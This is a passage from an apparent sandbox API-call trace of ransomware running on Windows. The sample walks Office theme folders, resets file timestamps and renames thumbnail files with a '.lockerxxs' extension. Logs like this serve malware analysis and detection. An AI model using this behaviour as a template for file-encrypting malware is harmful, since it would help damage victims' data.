ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x74, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.090] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.090] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.090] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.095] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.095] CloseHandle (hObject=0x90) returned 1 [0059.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.lockerxxs")) returned 1 [0059.098] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.098] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.098] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0059.098] lstrcmpA (lpString1=".", lpString2="ECLIPSE") returned -1 [0059.098] lstrcmpA (lpString1="..", lpString2="ECLIPSE") returned -1 [0059.099] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.100] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.100] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.100] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.100] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.100] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0059.100] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.102] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.102] CloseHandle (hObject=0x90) returned 1 [0059.102] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", lpString2="ECLIPSE.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" [0059.102] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", pszSpec="*.ems") returned 0 [0059.103] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x4f8510, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0059.103] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.103] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.103] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.103] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.103] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.108] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.108] CloseHandle (hObject=0x90) returned 1 [0059.108] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.lockerxxs")) returned 1 [0059.111] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.111] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.111] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="EDGE", cAlternateFileName="")) returned 1 [0059.111] lstrcmpA (lpString1=".", lpString2="EDGE") returned -1 [0059.111] lstrcmpA (lpString1="..", lpString2="EDGE") returned -1 [0059.111] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.112] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.112] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.113] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.113] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.113] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0059.113] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.114] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.114] CloseHandle (hObject=0x90) returned 1 [0059.115] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", lpString2="EDGE.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" [0059.115] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", pszSpec="*.ems") returned 0 [0059.115] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0059.115] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.115] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x74, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.115] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.115] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.115] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.118] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.118] CloseHandle (hObject=0x90) returned 1 [0059.118] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.lockerxxs")) returned 1 [0059.122] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.122] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.122] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0059.122] lstrcmpA (lpString1=".", lpString2="EVRGREEN") returned -1 [0059.122] lstrcmpA (lpString1="..", lpString2="EVRGREEN") returned -1 [0059.122] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.147] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.147] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.147] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.147] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.147] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0059.147] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.280] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.280] CloseHandle (hObject=0x90) returned 1 [0059.280] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", lpString2="EVRGREEN.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" [0059.280] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", pszSpec="*.ems") returned 0 [0059.280] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0059.280] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.280] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.280] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.281] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.281] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.283] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.283] CloseHandle (hObject=0x90) returned 1 [0059.283] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.lockerxxs")) returned 1 [0059.284] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.284] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0059.284] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0059.284] lstrcmpA (lpString1=".", lpString2="EXPEDITN") returned -1 [0059.284] lstrcmpA (lpString1="..", lpString2="EXPEDITN") returned -1 [0059.284] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.285] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.285] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.285] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.285] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.285] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0059.285] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.290] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.290] CloseHandle (hObject=0x90) returned 1 [0059.291] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", 